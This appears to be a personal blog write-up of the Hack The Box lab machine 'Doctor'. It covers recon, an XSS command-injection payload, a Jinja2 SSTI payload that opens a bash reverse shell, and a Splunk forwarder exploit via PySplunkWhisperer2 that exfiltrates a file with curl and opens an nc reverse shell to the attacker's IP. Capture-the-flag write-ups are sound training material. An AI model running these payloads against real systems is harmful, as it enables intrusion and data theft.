Hey everyone! This post will walk you through doctor from hackthebox.

Summary

Doctor is an easy level linux machine. The initial foothold on the box exploits the SSTI vulnerability. The alternative way to initial foothold is by exploiting the XSS vulnerability. The privilege escalation exploits the splunkd services and leads to arbitary code execution as the services are running as root.

With that being said, lets get sarted!

Recon

Starting with the nmap scan, I found 3 open ports. ssh and http on port 80 are common. But port 8089 determined that slunkd is running on the box.

# Nmap 7.70 scan initiated Thu Jan  7 11:22:24 2021 as: nmap -sC -sV -o doctor.nmap 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.27s latency).
Not shown: 997 filtered ports
PORT  STATE SERVICE  VERSION
22/tcp   open  ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http  Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan  7 11:23:40 2021 -- 1 IP address (1 host up) scanned in 76.71 seconds

I visited http://10.10.10.209 There was nothing interesting in there except for contact information. It mentioned a mail id info@doctors.htb

So the first thing that clicked my mind was doing an entry in the /etc/hosts

10.10.10.209 doctors.htb

After this I opened up http://doctors.htb and a login page landed.

I simply registered the new user test, as I didn’t had any credentials to login.

I found that there was an option to create a new message. Since there were 2 input boxes, I thought testing it for XSS.

I opened up a nc listener on my local machine and just putting up this payload in iframe that can just be used to ping the machine. And I received a response. Means the HTML stage were perfectly working in here.

While searching on internet for reverse connections using html tags, I found this

<img src=http://IP/$(“command”$IFS”command”$IFS)>

Looked like a best bet.

So I again opened up a nc listener and entered the payload.

Here $IFS is the internal field separator for space. And the IP mentioned is the IP of my local machine

And I got a reverse shell.

The alternative way to initial foothold!

When going through others approach for the box, I found out that the box is vulnerable to SSTI (Server-Side Template Injection).

Websites use template engines to render dynamic data via webpages and emails. The vulnerability occurs when the user input to the templates is not being properly validated and this can lead to remote code execution.

You can read about this vulnerability here: https://portswigger.net/research/server-side-template-injection

When gobuster is ran across http://doctors.htb , there was a page /archive. So when the user(doctor) publishes a new message, go to /archive. It is blank. On viewing the page source, one can see that the title of the message is reflected there. So the only thought that comes is of SSTI.

So lets check that out. As the title is only vulnerable to SSTI, inject the payload there. At first, the template engine has to be identified. You can simply for test all the payloads corresponding to different template engines.

I just checked in wappalyzer that python was being used so I tested only for template engines of python (jinja and twig) and {{7*7}} worked out.

The title reflected 49( {{7*7}} ) And confirmed SSTI.

Now Use this paylaod and open up a nc listener.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.9/4444 0>&1'").read()}}{%endif%}{%endfor%}

When you open the /archive, you get a reverse shell.

Privilege escalation

The logged user was web. Now under /home another user shaun was present having the user.txt but right now the access has been denied.

As usual, I executed linenum.sh (grabbed it from my local machine). There were a lots of things to look into. Backup folders were also present (that was just a ploy). After going through the results, I found out that there is a backup file in apache2 logs. That seemed interesting. I just tried to grab any passwords present there. And it just gave me one!!! 🙂

So now I have a password and a username too (shaun).

Privilege escalation

While doing the initial recon, I also went to http://10.10.10.209:8089 . The landing page looked like this

Splunk build was 8.0.5. I searched for exploits on internet but those were authenticated exploits as the link to services required some credentials and bruteforce didnt really worked out.

The Vulnerability

The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system.

You can find out more here: https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/

So as now I had the credentials, I tried to login to the services

And it worked! And got this page

As I am authenticated now, I can run the exploit. I did a git clone on

https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2

How Does the attack Work

1. Connect to the Splunk Universal Forwarder management port, authenticate with provided or default credentials, and configure the forwarder to use the attacker-controlled machine as the deployment server.
2. The forwarder then connects to the attacker machine and requests deployment applications.
3. The exploit responds to the request with a fake application containing a script input instructing the forwarder to run the script.
4. After a delay, the exploit connects again to the forwarder management port and reverts the deployment server configuration.

@source: https://airman604.medium.com/splunk-universal-forwarder-hijacking-5899c3e0e6b2

Ran this command to read the user.txt (/home/shaun/user.txt). This command is running as root!! Do not forget to open up a nc listener.

python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password "Guitar123" --payload "curl -F 'data=@/home/shaun/user.txt' http://10.10.14.9:4444" --lhost 10.10.14.9

I got user.txt in response.

Lets grab the reverse shell

Ran this command. Similar to the one that we did for the initial foothold

python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password "Guitar123" --payload "nc.traditional -e/bin/sh '10.10.14.9' '8888'" --lhost 10.10.14.9

And got the reverse shell

This machine implemented some really cool concepts. Enjoyed doing the box.

That’s all for this blog post! See you in the next one 🙂

Until then, happy hacking!